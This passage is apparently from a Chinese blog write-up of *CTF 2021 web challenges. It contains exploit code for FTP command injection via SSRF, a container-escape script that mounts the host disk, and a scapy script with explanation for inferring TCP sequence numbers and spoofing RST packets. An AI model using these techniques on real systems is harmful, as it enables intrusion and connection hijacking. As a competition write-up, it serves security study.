class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ethread = threading.Thread(target=sendfile, args=(request,))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ethread.start()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#39;ftp://fan:root@\u003cspan class=\"subst\"\u003e{ftpd}\u003c/span\u003e/\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#39;TYPE I\u0026#39;\u003c/span\u003e, get_port_cmd(bind), \u003cspan class=\"string\"\u003e\u0026#39;STOR frankli\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ethread.join()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;uploaded\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#39;ftp://fan:root@\u003cspan class=\"subst\"\u003e{ftpd}\u003c/span\u003e/\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;replaying\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#39;TYPE I\u0026#39;\u003c/span\u003e, get_port_cmd(targ), \u003cspan class=\"string\"\u003e\u0026#39;RETR frankli\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;replayed\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(requests.get(a, cookies={\u003cspan class=\"string\"\u003e\u0026#39;session\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;1eb74496-98b9-4acc-94fb-75ba15ddb803\u0026#39;\u003c/span\u003e}).headers)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;requested\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#39;RNFR frankli\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;RNTO trash\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#39;ftp://fan:root@\u003cspan class=\"subst\"\u003e{ftpd}\u003c/span\u003e/\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"oh-my-socket\"\u003eoh-my-socket\u003c/h2\u003e\u003cp\u003e不行,必须要公开处刑(逃\u003c/p\u003e\u003cp\u003e为什么题在放出来半个小时后就去fix了呢?\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/privileged.png\" class=\"\" title=\"特 权 阶 级\"/\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#39;fdisk -l\u0026#39;)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#39;mkdir -p /mnt/test\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#39;mount /dev/vda1 /mnt/test\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#39;cat /mnt/test/lib/systemd/system/docker.*\u0026#39;)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#39;chroot /mnt/test find . -name \u0026#34;oh-some-funny-code\u0026#34;\u0026#39;)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#39;cat /mnt/test/var/lib/docker/overlay2/*/diff/server/oh-some-funny-code\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#39;chroot /mnt/test service docker status\u0026#39;)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/result.png\" class=\"\" title=\"结 束 了\"/\u003e\u003cp\u003e还是我太善良了,没干什么坏事\u003c/p\u003e\u003cp\u003e这道题的正解是这样的:\u003c/p\u003e\u003cp\u003e观察题目,我们能发现server上有flag,还有一个flag service。还有一个client,client上还有任意文件读。我们作为webserver可以执行80秒任意代码,并且出题人贴心地为我们装上了scapy便于tcp包的构造。\u003c/p\u003e\u003cp\u003e这个flag service是阻塞式的服务,也就是说上一个人不断开的话下一个人连不了。然而client上的客户端在启动时就往server那里连了,并且双方都在\u003cstrong\u003e阻塞\u003c/strong\u003e地等待对方的数据(recv),而且还没设置超时,而且还每两分钟就重启一次。看上去有点不太可能实现的样子。\u003cbr/\u003e但是当我们仔细观察client的源码,当收到了connection reset(RST)时,client会断开与server端的连接。也就是说我们需要伪造一个从server到client的RST,这时候才能轮到我们去连server。\u003c/p\u003e\u003cp\u003e众所周知(个鬼啊),TCP数据包伪造的重点在于其seq的值。\u003c/p\u003e\u003cp\u003eIP头中,Source IP Address,Destination IP Address我们都有,Protocol是TCP,别的无所谓,都是能自动构造好的\u003cbr/\u003eTCP头中,Source Port,Destination Port我们也都有,client那边都bind好了,问题就在于:\u003cbr/\u003e双方进行三次握手的过程如下:\u003c/p\u003e\u003col\u003e\u003cli\u003eclient向server发送一个同步包(SYN),序列号为随机数A\u003c/li\u003e\u003cli\u003e1: 服务端响应(ACK)包,序列号为A+1; 2: 服务端发送同步包(SYN),序列号为随机数B (即一个SYN-ACK包)\u003c/li\u003e\u003cli\u003e客户端发送响应包,序列号为B+1\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e后面的数据包的sequence序列号只能落在\u003ccode\u003e(last_seq, last_seq + recv_window)\u003c/code\u003e这个范围内。\u003c/p\u003e\u003cp\u003e参考\u003ca href=\"https://github.com/torvalds/linux/blob/19c329f6808995b142b3966301f217c831e7cf31/net/ipv4/tcp_input.c#L5609-L5628\"\u003elinux源码:tcp_validate_incoming\u003c/a\u003e,当然RFC或者计网课本都行,只是待会会用到这个\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_sequence\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e struct tcp_sock *tp, u32 seq, u32 end_seq)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e !\u003cspan class=\"built_in\"\u003ebefore\u003c/span\u003e(end_seq, tp-\u0026gt;rcv_wup) \u0026amp;\u0026amp; !\u003cspan class=\"built_in\"\u003eafter\u003c/span\u003e(seq, tp-\u0026gt;rcv_nxt + \u003cspan class=\"built_in\"\u003etcp_receive_window\u003c/span\u003e(tp));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后他俩就静默了。如果有任何一方发送了数据包,我们都有可能能抓到这个包,看到seq,这样这个题将绝杀,可是抓不得。\u003c/p\u003e\u003cp\u003e顺着出题人的思路,我们找到了几个paper,还找到了一次看雪论坛的演讲:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ca href=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/10/ccs12-qian.pdf\"\u003ehttps://www.microsoft.com/en-us/research/wp-content/uploads/2012/10/ccs12-qian.pdf\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://web.eecs.umich.edu/~zmao/Papers/oakland12_TCP_sequence_number_inference.pdf\"\u003ehttps://web.eecs.umich.edu/~zmao/Papers/oakland12_TCP_sequence_number_inference.pdf\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://bbs.pediy.com/thread-245982.htm#:~:text=%E7%AC%AC%E4%BA%8C%E4%B8%AA%E6%94%BB%E5%87%BB%E5%8F%98%E7%A7%8D\"\u003ehttps://bbs.pediy.com/thread-245982.htm#:~:text=第二个攻击变种\u003c/a\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e根据上面的资料,我们继续往下跟刚才的linux中的\u003ccode\u003etcp_validate_incoming\u003c/code\u003e,看到如果seq检查不通过的话进到的分支:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!th-\u0026gt;rst) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (th-\u0026gt;syn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e syn_challenge;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003etcp_oow_rate_limited\u003c/span\u003e(\u003cspan class=\"built_in\"\u003esock_net\u003c/span\u003e(sk), skb, LINUX_MIB_TCPACKSKIPPEDSEQ, \u0026amp;tp-\u0026gt;last_oow_ack_time))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_send_dupack\u003c/span\u003e(sk, skb);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003etcp_reset_check\u003c/span\u003e(sk, skb)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_reset\u003c/span\u003e(sk, skb);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果我们发的包不是RST,且不是SYN,如果seq检查不通过,且linux还不至于认为我们在flood它的话,会进到\u003ccode\u003etcp_send_dupack\u003c/code\u003e,我们进去康康有什么\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_send_dupack\u003c/span\u003e\u003cspan class=\"params\"\u003e(struct sock *sk, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e struct sk_buff *skb)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_sock\u003c/span\u003e *\u003cspan class=\"title\"\u003etp\u003c/span\u003e =\u003c/span\u003e \u003cspan class=\"built_in\"\u003etcp_sk\u003c/span\u003e(sk);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;end_seq != \u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;seq \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ebefore\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;seq, tp-\u0026gt;rcv_nxt)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eNET_INC_STATS\u003c/span\u003e(\u003cspan class=\"built_in\"\u003esock_net\u003c/span\u003e(sk), LINUX_MIB_DELAYEDACKLOST);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_enter_quickack_mode\u003c/span\u003e(sk, TCP_MAX_QUICKACKS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 省略\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_send_ack\u003c/span\u003e(sk);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个before的换行位置是真的阴间,我看了半天才发现这玩意在条件判断\u003cstrong\u003e里头\u003c/strong\u003e\u003cbr/\u003e这里有个很有意思的东西,\u003ccode\u003eNET_INC_STATS(sock_net(sk), LINUX_MIB_DELAYEDACKLOST);\u003c/code\u003e\u003cbr/\u003e就是说如果我们发送的这个数据包的seq比当前想要接收到的seq要小的话,linux会将DELAYEDACKLOST的值增加1。\u003cbr/\u003e这个数值在哪里体现呢?在\u003ccode\u003e/proc/\u0026lt;pid\u0026gt;/net/netstat\u003c/code\u003e里头就有。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/netstat.png\" class=\"\" title=\"netstat\"/\u003e\u003cp\u003e也就是说我们不仅能知道我们的seq对还是错(这样我们需要遍历整个int32,不至于到天涯海角吧至少80秒是有了),而且还能知道seq大还是小。\u003cbr/\u003e这样我们就能用小学二年级就学过的二分法,最多发32来个包,就能得到在窗口范围内的seq,进而伪造发送给client的RST包。\u003c/p\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 参考脚本 \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pprint \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pprint\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e scapy.\u003cspan class=\"built_in\"\u003eall\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e time\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# conf.L3socket = L3RawSocket\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclient = \u003cspan class=\"string\"\u003e\u0026#39;172.21.0.3\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver = \u003cspan class=\"string\"\u003e\u0026#39;172.21.0.2\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ebuild\u003c/span\u003e(\u003cspan class=\"params\"\u003eseq\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip = IP(src=server, dst=client)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tcp = TCP(sport=\u003cspan class=\"number\"\u003e21587\u003c/span\u003e, dport=\u003cspan class=\"number\"\u003e7775\u003c/span\u003e, flags=\u003cspan class=\"string\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e, seq=seq)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pkt = ip / tcp / \u003cspan class=\"string\"\u003e\u0026#39;payload\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pkt\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e(\u003cspan class=\"params\"\u003ename\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ses.get(\u003cspan class=\"string\"\u003ef\u0026#39;http://\u003cspan class=\"subst\"\u003e{client}\u003c/span\u003e:5000/file\u0026#39;\u003c/span\u003e, params={\u003cspan class=\"string\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e: name}).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eparse\u003c/span\u003e(\u003cspan class=\"params\"\u003etext\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e lines = text.split(\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(lines), \u003cspan class=\"number\"\u003e2\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(lines[i]):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e key, keys = lines[i].split(\u003cspan class=\"string\"\u003e\u0026#39;: \u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e key, vals = lines[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].split(\u003cspan class=\"string\"\u003e\u0026#39;: 